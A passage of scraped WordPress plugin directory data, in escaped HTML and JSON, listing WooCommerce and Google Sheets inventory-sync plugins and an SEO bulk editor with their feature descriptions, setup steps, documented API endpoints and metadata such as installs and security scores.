\u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002Fb7mMOHs\" rel=\"nofollow ugc\">Join Our Facebook Community\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>🔥 FlexStock ULTIMATE Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Unlimited Two-Directional Product Sync\u003C\u002Fstrong>: Keep all your store products synced between your store and live spreadsheets without any limit. The free version allows sync for up to 500 products.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Advanced Scheduled Auto Sync Options\u003C\u002Fstrong>: Get more control over your sync timing. With FlexStock Ultimate, you can schedule WooCommerce and Google Sheets syncs every 30 minutes, hourly, daily, or weekly based on your workflow.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Unlimited Product Editing from Google Sheets\u003C\u002Fstrong>: Edit important product details (Name, Stock, Short Description, Price, SKU, Custom Fields) from the connected Google Sheets. Experience the full functionality of the inventory management system for your online store.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Unlimited New Product Addition from Google Sheets\u003C\u002Fstrong>: Add new products to your eCommerce store from the connected spreadsheet. They are added to your site dashboard automatically.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Expanded Sync Modes (Reverse + Bi-Directional)\u003C\u002Fstrong>: Sync data your way. Use Reverse Sync (Google Sheets \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> WooCommerce), One-Way Sync, or Bi-Directional Sync to match your store operations. This is especially useful for high-volume stores that need faster, more flexible inventory control.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Unlimited WooCommerce Bulk Editing and Bulk Product Addition\u003C\u002Fstrong>: Edit product details in bulk and create new products without limits. An extensive inventory management tool to manage your business efficiently from one place.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>WooCommerce Custom Fields Sync\u003C\u002Fstrong>: WooCommerce custom fields or metadata lets you display additional product data (size, color, etc.). With custom fields sync, you can edit your custom field data from connected sheets and keep them in sync with your store.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Stock Keeping Unit (SKU) Sync\u003C\u002Fstrong>: SKU helps keep track of your inventory and is a unique identifier for each product. You can update your digital store product SKU from Google Sheets.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Product Image Sync\u003C\u002Fstrong>: You can synchronize your store product image with Google Sheets and also update the image directly from the connected spreadsheet.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Sync Google Sheets Formulas\u003C\u002Fstrong>: If you use formulas to organize data on your spreadsheet, this feature will be extremely helpful. Your formulas will work perfectly and be synced with WooCommerce.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Multiple Sheet Formula\u003C\u002Fstrong>: FlexStock supports formulas across multiple spreadsheets, making it easier to connect data between sheets and manage more advanced workflows in Google Sheets.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Sync Product Long Description\u003C\u002Fstrong>: In WooCommerce, long descriptions are displayed inside the “Description” tab. With long description sync, you can view and manage your descriptions from Sheets.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>View Product URL\u003C\u002Fstrong>: Keep track of all product URLs from the connected spreadsheet. Easily view and navigate to your desired store products from anywhere.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Display Total Sales Count\u003C\u002Fstrong>: Storefront inventory control is simple with total sales data visible in your sheet. Take smart decisions from the total sales column within the Sheets.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Sync Product Category\u003C\u002Fstrong>: Sync and edit or bulk edit product categories on the connected spreadsheet to easily categorize your products.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Sync Product Attributes\u003C\u002Fstrong>: Sync and edit or bulk edit view product attributes on the connected spreadsheet.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Separated Attributes\u003C\u002Fstrong>: Product attributes are placed into separate columns in Google Sheets, so you can view, manage, and edit each attribute more easily.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Attribute Terms Creation\u003C\u002Fstrong> Create product attribute terms directly from Google Sheets, so you can add and manage attributes faster without going back to WooCommerce.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Enhanced Filtering:\u003C\u002Fstrong> Now, you can customize your Google Sheets view to display only the products that match your selected status (Published, Pending Review, Draft, Trash, Custom Statuses).\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Integration with ATUM WooCommerce Inventory Management\u003C\u002Fstrong>: Through integration with the ATUM inventory management plugin, you can also sync custom ATUM fields created with that plugin.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>** Display Shop\u002FVendor Name**: Show each product’s shop or vendor name in a dedicated column for clearer visibility and better organization in multi-vendor stores.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>🔥🔥🔥 ADDONS 🔥🔥🔥\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>💪 Multi-Vendor Sync for FlexStock\u003C\u002Fstrong>\u003Cbr \u002F>\nTake control of your WooCommerce marketplace with vendor-specific Google Sheets and real-time sync. \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwppool.dev\u002Fflexstock\u002Faddons\u002Fmultivendor-for-flexstock\u002F\" rel=\"nofollow ugc\">Start Managing Vendors Smarter!\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>📦 \u003Cstrong>Full Product Management via Sheets\u003C\u002Fstrong>\u003Cbr \u002F>\nVendors can manage categories, attributes, images, and inventory – all directly from their Google Sheet. No need to access the WordPress dashboard.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>🧑‍💼 \u003Cstrong>Vendor-Specific Google Sheets\u003C\u002Fstrong>\u003Cbr \u002F>\nEach vendor gets their own private Google Sheet to manage only their products – with no access to others’ data.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>🔁 \u003Cstrong>Real-Time Two-Way Sync\u003C\u002Fstrong>\u003Cbr \u002F>\nAny changes made in a vendor’s sheet (like stock, price, name, SKU, etc) are instantly synced with your WooCommerce store – and vice versa. Edits from WooCommerce (by vendor or admin) reflect back to the sheet in real-time.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>➕ \u003Cstrong>Create Products from Sheets\u003C\u002Fstrong>\u003Cbr \u002F>\nVendors can add new products just by filling out rows in their sheet – products are automatically created in the store.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>⚡ \u003Cstrong>One-Click Sheet Setup\u003C\u002Fstrong>\u003Cbr \u002F>\nVendors can link their Google Sheet in a single click from their vendor dashboard – fast, easy, and secure.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>🧩 \u003Cstrong>Built for Any Marketplace\u003C\u002Fstrong>\u003Cbr \u002F>\nWhether you have 5 vendors or 500, the system runs smoothly with full data separation. No more messy or shared spreadsheets. Fully compatible with top multivendor plugins like \u003Cstrong>WCFM\u003C\u002Fstrong>, \u003Cstrong>Dokan\u003C\u002Fstrong>, \u003Cstrong>WC Vendors (upcoming)\u003C\u002Fstrong>, and more.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>🔥 More Awesome Plugins\u003C\u002Fh3>\n\u003Cp>If you like FlexStock, then consider checking out our other awesome projects:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>🛒 \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Forder-sync-with-google-sheets-for-woocommerce\u002F\" rel=\"ugc\">Manage Order with Google Sheets\u003C\u002Fa>\u003C\u002Fstrong>:\u003Cbr \u002F>\nTry FlexOrder – Bulk Order Sync with Google Sheet for WooCommerce | Manage WooCommerce orders from Google Sheets. WooCommerce order sync, e-commerce order management, and sales order management with Google Sheets. Try Flex Order now!\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>🟢 \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fsheets-to-wp-table-live-sync\u002F\" rel=\"ugc\">Google Sheets to WP Table\u003C\u002Fa>\u003C\u002Fstrong>:\u003Cbr \u002F>\nTry FlexTable – Sheets To WP Table Live Sync | Google Sheets allows you to input data on your Google sheet and show the same data on WordPress as a table effortlessly. Try Flex Table now!\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>🎁 \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fecho-rewards\u002F\" rel=\"ugc\">Boost Sales with a Smart Referral System\u003C\u002Fa>\u003C\u002Fstrong>:\u003Cbr \u002F>\nTry EchoRewards | With Echo Reward, you can refer a friend for WooCommerce to launch your customer referral program. Echo Rewards Referral Plugin is a WooCommerce referral plugin to boost your sales. Generate coupons, reward customers, and launch the ideal refer-a-friend program for your store.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>🌓 \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-dark-mode\u002F\" rel=\"ugc\">WP Dark Mode\u003C\u002Fa>\u003C\u002Fstrong>:\u003Cbr \u002F>\nUse WP Dark Mode plugin to create a stunning dark version for your WordPress website. WP Dark Mode works automatically without going into any complicated settings.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>💬 \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fsocial-contact-form\u002F\" rel=\"ugc\">Form to Chat\u003C\u002Fa>\u003C\u002Fstrong>:\u003Cbr \u002F>\nTry FormyChat | Connect Form to Chat Apps with Contact Form 7, WPForms, Gravity Form | Welcome Popup & Multi-agent Live Chat\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Privacy Policy\u003C\u002Fh3>\n\u003Cp>Flex Stock uses \u003Ca href=\"https:\u002F\u002Fappsero.com\" rel=\"nofollow ugc\">Appsero\u003C\u002Fa> SDK to collect some telemetry data upon user’s confirmation. This helps us to troubleshoot problems faster & make product improvements.\u003C\u002Fp>\n\u003Cp>Appsero SDK \u003Cstrong>does not gather any data by default.\u003C\u002Fstrong> The SDK only starts gathering basic telemetry data \u003Cstrong>when a user allows it via the admin notice\u003C\u002Fstrong>. We collect the data to ensure a great user experience for all our users.\u003C\u002Fp>\n\u003Cp>Integrating Appsero SDK \u003Cstrong>DOES NOT IMMEDIATELY\u003C\u002Fstrong> start gathering data, \u003Cstrong>without confirmation from users in any case.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Learn more about how \u003Ca href=\"https:\u002F\u002Fappsero.com\u002Fprivacy-policy\u002F\" rel=\"nofollow ugc\">Appsero collects and uses this data\u003C\u002Fa>.\u003C\u002Fp>\n","WooCommerce inventory and stock management plugin with real-time Google Sheets sync. Track, manage, and bulk edit products instantly.",800,42083,90,20,"2026-04-09T08:38:00.000Z","5.4","5.6",[4,264,265,266,267],"inventory-manager","stock-management","woocommerce-inventory-management","woocommerce-stock-management","https:\u002F\u002Fwppool.dev\u002Fflexstock\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fstock-sync-with-google-sheet-for-woocommerce.3.15.8.zip",99,1,"2025-03-26 00:00:00",{"slug":274,"name":275,"version":276,"author":277,"author_profile":278,"description":279,"short_description":280,"active_installs":281,"downloaded":282,"rating":247,"num_ratings":134,"last_updated":283,"tested_up_to":284,"requires_at_least":285,"requires_php":286,"tags":287,"homepage":289,"download_link":290,"security_score":270,"vuln_count":271,"unpatched_count":28,"last_vuln_date":291,"fetched_at":30},"product-sync-master-sheet","Sync Master Sheet – Product Sync with Google Sheet for WooCommerce","2.0.0","Saiful Islam","https:\u002F\u002Fprofiles.wordpress.org\u002Fcodersaiful\u002F","\u003Cp>\u003Ca href=\"https:\u002F\u002Fcodeastrology.com\u002Fsync-master-sheet\u002F\" rel=\"nofollow ugc\">Features\u003C\u002Fa>  | \u003Ca href=\"https:\u002F\u002Fcodeastrology.com\u002Fsync-master-sheet\u002Fpricing\u002F\" rel=\"nofollow ugc\">Get Premium\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fcodeastrology.com\u002Fdocs\u002Fplugin\u002Fproduct-sync-master-sheet\u002F\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>Easily manage and synchronize your WooCommerce product stock with the power of Google Sheets using our plugin – Product Stock Sync with Google Sheet for WooCommerce. This intuitive solution empowers you to streamline your inventory management effortlessly.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FIVW_UseTK8k?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Features:\u003C\u002Fstrong>\u003Cbr \u002F>\n* ✅ \u003Cstrong>Two-Way Product Synchronize\u003C\u002Fstrong> with \u003Cstrong>Google Sheets\u003C\u002Fstrong>\u003Cbr \u002F>\n* ✅ \u003Cstrong>Edit Product Details\u003C\u002Fstrong> directly from Google Sheets, including Name\u002FTitle, Price, Regular Price, SKU, and Custom Fields\u003Cbr \u002F>\n* ✅ \u003Cstrong>Add Unlimited New Products\u003C\u002Fstrong> from Google Sheets\u003Cbr \u002F>\n* ✅ \u003Cstrong>Bulk Edit Products\u003C\u002Fstrong> using Google Sheets\u003Cbr \u002F>\n* ✅ \u003Cstrong>Manage WooCommerce Custom Fields\u003C\u002Fstrong> (Meta Data) with seamless sync\u003Cbr \u002F>\n* ✅ \u003Cstrong>Integration with Secure Custom Fields\u003C\u002Fstrong> Columns (previously known as ACF Plugin)\u003Cbr \u002F>\n* ✅ \u003Cstrong>Update Product Status\u003C\u002Fstrong> easily via Google Sheets\u003Cbr \u002F>\n* ✅ \u003Cstrong>Quick Edit Options\u003C\u002Fstrong> available directly in the plugin settings (including Table Title)\u003Cbr \u002F>\n* ✅ \u003Cstrong>Show\u002FHide Columns\u003C\u002Fstrong> in Google Sheets for a customized view\u003Cbr \u002F>\n* ✅ \u003Cstrong>Export Unlimited Products\u003C\u002Fstrong> to Google Sheets\u003Cbr \u002F>\n* ✅ \u003Cstrong>Full Support for Variable Products\u003C\u002Fstrong> in Google Sheets\u003Cbr \u002F>\n* ✅ \u003Cstrong>Filter by Category\u003C\u002Fstrong> (multiple filters supported) in Google Sheets\u003Cbr \u002F>\n* ✅ \u003Cstrong>Column Sorting\u003C\u002Fstrong> for better data management in Google Sheets\u003Cbr \u002F>\n* ✅ \u003Cstrong>Display Product\u003C\u002Fstrong> URLs in Google Sheets\u003Cbr \u002F>\n* ✅ \u003Cstrong>View Product Edit Links\u003C\u002Fstrong> directly from Google Sheets\u003Cbr \u002F>\n* 🔥🔥🔥 \u003Cstrong>Stock Synchronize for Multiple Sites\u003C\u002Fstrong> from a single Google Sheet using SKU\u003Cbr \u002F>\n* and Many more features available.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Key Features:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Google Sheet Integration:\u003C\u002Fstrong> Seamlessly connect your WooCommerce store with Google Sheets via the Google Sheets API.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Effortless Updates:\u003C\u002Fstrong> Update product stock levels directly from your Google Sheet, ensuring accurate and real-time inventory information on your WooCommerce store.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Simplified Stock Management:\u003C\u002Fstrong> Take control of your stock effortlessly within the familiar and user-friendly Google Sheets interface.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automation:\u003C\u002Fstrong> Say goodbye to manual updates! Our plugin automates the synchronization process, saving you time and reducing the risk of errors.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>How It Works:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Connect:\u003C\u002Fstrong> Establish a secure connection between your WooCommerce store and Google Sheets using the Google Sheets API.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Update:\u003C\u002Fstrong> Effortlessly update product stock levels, prices, and other details directly from your Google Sheet.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Real-time Sync:\u003C\u002Fstrong> Enjoy real-time synchronization between your WooCommerce store and Google Sheets, ensuring your inventory is always up-to-date.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Why Choose Product Stock Sync\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Time-Saving:\u003C\u002Fstrong> Streamline your workflow with automated stock updates, freeing up time for more strategic business activities.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Accuracy:\u003C\u002Fstrong> Eliminate discrepancies and maintain accurate stock levels across your WooCommerce store and Google Sheets.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User-Friendly:\u003C\u002Fstrong> No technical expertise required! Our plugin is designed for easy setup and hassle-free stock management.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Getting Started: Setting Up Google Sheet API Connection\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Ensure a smooth setup process by following these steps to connect your WooCommerce store with Google Sheets using our plugin.\u003Cbr \u002F>\nPlease follow, following steps:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fcodeastrology.com\u002Fhow-to-setup-product-sync-master-plugin\u002F\" rel=\"nofollow ugc\">Tutorial – Setup Guideline\u003C\u002Fa> – Checkout and follow step by step guideline. How to configure with Google Sheet – explained here.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.google.com\u002Fspreadsheets\u002F\" rel=\"nofollow ugc\">Link Google Sheet\u003C\u002Fa> – Create new spreadsheet or use existing. In the plugin settings, find the section to link your Google Sheet. Provide the required Google Sheet URL and configure additional settings as needed.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fconsole.cloud.google.com\u002Fprojectcreate?previousPage=\u002Fapis\u002Fcredentials\" rel=\"nofollow ugc\">Create Google Project\u003C\u002Fa> – Navigate to the “APIs & Services” and select “Dashboard”. Click on “+ CREATE PROJECT” and fill in the necessary details. \u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fconsole.cloud.google.com\u002Fapis\u002Fcredentials\" rel=\"nofollow ugc\">Credentials to make a Service JSON\u003C\u002Fa> – Still in the “APIs & Services” section, navigate to “Credentials”. Click on “Create Credentials” and choose “Service Account Key”. Create a new service account, download the JSON key file, and keep it secure.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fconsole.cloud.google.com\u002Fapis\u002Flibrary\u002Fsheets.googleapis.com\" rel=\"nofollow ugc\">Enable Sheet API\u003C\u002Fa> – In your project dashboard, go to “APIs & Services” > “Library”. Search for “Google Sheets API” and enable it for your project.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fconsole.cloud.google.com\u002Fapis\u002Fapi\u002Fsheets.googleapis.com\u002Fmetrics\" rel=\"nofollow ugc\">Check Enable Sheet API\u003C\u002Fa> – Checkout existing API which enabled or not.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Authentication\u003C\u002Fstrong> – For generate access tocken, we have sent request to https:\u002F\u002Foauth2.googleapis.com\u002Ftoken.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce required\u003C\u002Fstrong> – Ensure that, \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoocommerce\u002F\" rel=\"ugc\">WooCommerce\u003C\u002Fa> is already installed. Then install this plugin.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Take control of your WooCommerce inventory like never before with \u003Cem>Product Stock Sync with Google Sheet for WooCommerce\u003C\u002Fem>. Experience seamless integration and efficient stock management today!\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Credits\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>We believe in giving credit where it’s due. Our plugin utilizes the following third-party resources to enhance its functionality:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Fontello Icons: We express our gratitude to \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Ffontello\u002Ffontello#developers-api\" rel=\"nofollow ugc\">Fontello\u003C\u002Fa> for providing the icon font used in our plugin’s user interface. Beautiful and customizable icons make the user experience more visually appealing.\u003C\u002Fli>\n\u003Cli>Google Sheet API: A big thank you to the \u003Ca href=\"https:\u002F\u002Fdevelopers.google.com\u002Fsheets\u002Fapi\u002Freference\u002Frest\" rel=\"nofollow ugc\">Google Sheets API\u003C\u002Fa> for enabling seamless integration between our plugin and Google Sheets. This API plays a pivotal role in automating the synchronization of product data.\u003C\u002Fli>\n\u003Cli>WooCommerce: Our plugin is built upon the robust foundation of \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoocommerce\u002F\" rel=\"ugc\">WooCommerce\u003C\u002Fa>, empowering online businesses with a feature-rich and flexible e-commerce solution for WordPress.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002F\" rel=\"ugc\">WordPress\u003C\u002Fa>: We are indebted to the WordPress platform for providing the framework that powers our plugin. Its open-source nature and extensive community support make it an ideal environment for creating powerful and customizable solutions.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>These entities have significantly contributed to the functionality, aesthetics, and overall success of our plugin. We are proud to acknowledge and appreciate their role in making our plugin a reality.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Important Links\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fcodeastrology.com\u002Fhow-to-setup-product-sync-master-plugin\u002F#sheet-details-here\" rel=\"nofollow ugc\">Tutorial for Sheet Details\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fcodeastrology.com\u002Fhow-to-setup-product-sync-master-plugin\u002F#service-key-api-help-section\" rel=\"nofollow ugc\">How to create JSON file and API key\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fcloud.google.com\u002Fworkflows\u002Fdocs\u002Freference\u002Fgoogleapis\u002Fsheets\u002FOverview\" rel=\"nofollow ugc\">Google Sheets API Connector Overview\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fcloud.google.com\u002Fworkflows\u002Fdocs\u002Freference\u002Fgoogleapis\u002Fsheets\u002Fv4\u002Fspreadsheets.values\u002FbatchUpdate\" rel=\"nofollow ugc\">Sheet API Method: values.batchUpdate\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdevelopers.google.com\u002Fsheets\u002Fapi\u002Freference\u002Frest\u002Fv4\u002Fspreadsheets.values\u002Fclear\" rel=\"nofollow ugc\">Sheet API Method: spreadsheets.values.clear\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Used Request in Code\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Token Gen: \u003Ccode>$token_url = 'https:\u002F\u002Foauth2.googleapis.com\u002Ftoken';\u003C\u002Fcode>\u003C\u002Fli>\n\u003Cli>Scope: \u003Ccode>['scope' => 'https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fspreadsheets']\u003C\u002Fcode>\u003C\u002Fli>\n\u003Cli>Insert Data in Sheet: \u003Ccode>$api_url = \"https:\u002F\u002Fsheets.googleapis.com\u002Fv4\u002Fspreadsheets\u002F$spreadsheet_id\u002Fvalues\u002F$sheet_name!$range?valueInputOption=RAW&key=$API_KEY\";\u003C\u002Fcode>\u003C\u002Fli>\n\u003Cli>Update Sheet: \u003Ccode>$api_url = \"https:\u002F\u002Fsheets.googleapis.com\u002Fv4\u002Fspreadsheets\u002F$spreadsheet_id\u002Fvalues:batchUpdate?valueInputOption=RAW&key=$API_KEY\"\u003C\u002Fcode>\u003C\u002Fli>\n\u003Cli>Clear Sheet: \u003Ccode>$api_url = \"https:\u002F\u002Fsheets.googleapis.com\u002Fv4\u002Fspreadsheets\u002F$spreadsheet_id\u002Fvalues\u002F$sheet_name:clear?key=$API_KEY\"\u003C\u002Fcode>\u003C\u002Fli>\n\u003C\u002Ful>\n","Help you to connect your WooCommerce website with Google Sheet as well as Manage your Stock easy from one menu with Advance Filter",400,8045,"2026-01-29T16:04:00.000Z","6.8.5","4.0.0","7.2",[4,265,266,267,288],"woocommerce-stock-sync","https:\u002F\u002Fcodeastrology.com\u002Fhow-to-setup-product-sync-master-plugin\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fproduct-sync-master-sheet.2.0.0.zip","2026-02-04 00:00:00",{"slug":293,"name":294,"version":202,"author":295,"author_profile":296,"description":297,"short_description":298,"active_installs":281,"downloaded":299,"rating":247,"num_ratings":51,"last_updated":300,"tested_up_to":301,"requires_at_least":239,"requires_php":240,"tags":302,"homepage":305,"download_link":306,"security_score":307,"vuln_count":28,"unpatched_count":28,"last_vuln_date":38,"fetched_at":30},"seo-editor","SEO Editor","WetPaint","https:\u002F\u002Fprofiles.wordpress.org\u002Fwetpaintweb\u002F","\u003Cp>Save time editing SEO data on multiple pages by using a single editor that pulls in meta title, description, and keyword into a single view. This plugin fully integrates with WordPress SEO and All In One SEO Pack plugins by auto-detecting what plugin you’re using.\u003C\u002Fp>\n\u003Ch4>Code\u003C\u002Fh4>\n\u003Cp>View the source on \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fwetpaintweb\u002Fseo-editor\" rel=\"nofollow ugc\">GitHub\u003C\u002Fa>. You can also submit an \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fwetpaintweb\u002Fseo-editor\u002Fissues\" rel=\"nofollow ugc\">issue\u003C\u002Fa> or pull request for anything new.\u003C\u002Fp>\n\u003Ch4>Support\u003C\u002Fh4>\n\u003Cp>If you need support with this plugin, please \u003Ca href=\"https:\u002F\u002Fwww.wetpaintwebtools.com\u002Fcontact-us\u002F\" rel=\"nofollow ugc\">Contact us on our contact form\u003C\u002Fa>\u003C\u002Fp>\n","Edit SEO Data in bulk to save time. Includes meta title, description, and keyword editing for all post types, taxonomies, and users.",11536,"2020-04-06T14:58:00.000Z","5.4.19",[303,304,293],"seo","seo-bulk-editor","http:\u002F\u002Fwww.wetpaintwebtools.com\u002Fproduct\u002Fseo-editor\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fseo-editor.1.0.7.zip",85,{"slug":309,"name":310,"version":311,"author":312,"author_profile":313,"description":314,"short_description":315,"active_installs":247,"downloaded":316,"rating":28,"num_ratings":28,"last_updated":317,"tested_up_to":16,"requires_at_least":318,"requires_php":319,"tags":320,"homepage":325,"download_link":326,"security_score":247,"vuln_count":28,"unpatched_count":28,"last_vuln_date":38,"fetched_at":30},"ithemeland-bulk-variation-editing-for-woocommerce","VBULKiT – Bulk Edit WooCommerce Variations","2.0.6","ithemelandco","https:\u002F\u002Fprofiles.wordpress.org\u002Fithemelandco\u002F","\u003Cp>Editing WooCommerce product variations one by one is slow and tedious — especially for stores with lots of sizes, colors, attributes, or price variations.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fithemelandco.com\u002Fplugins\u002Fwoocommerce-variations-bulk-edit\u002F?utm_source=wp.org&utm_medium=web_links&utm_campaign=user-lite-buy\" rel=\"nofollow ugc\">\u003Cstrong>VBULKiT – Bulk Edit WooCommerce Variations\u003C\u002Fstrong>\u003C\u002Fa> provides a powerful spreadsheet-style interface that lets you filter, edit, and update product variations all at once — saving hours of manual work.\u003C\u002Fp>\n\u003Cp>With features like advanced filtering, scheduled update automation, and background processing, VBULKiT is designed for both small shops and large stores with thousands of variations.\u003C\u002Fp>\n\u003Cp>Whether you need to update variation prices, stock levels, or attributes, \u003Ca href=\"https:\u002F\u002Fithemelandco.com\u002Fplugins\u002Fwoocommerce-variations-bulk-edit\u002F?utm_source=wp.org&utm_medium=web_links&utm_campaign=user-lite-buy\" rel=\"nofollow ugc\">\u003Cstrong>VBULKiT\u003C\u002Fstrong>\u003C\u002Fa> gives you full control — fast and 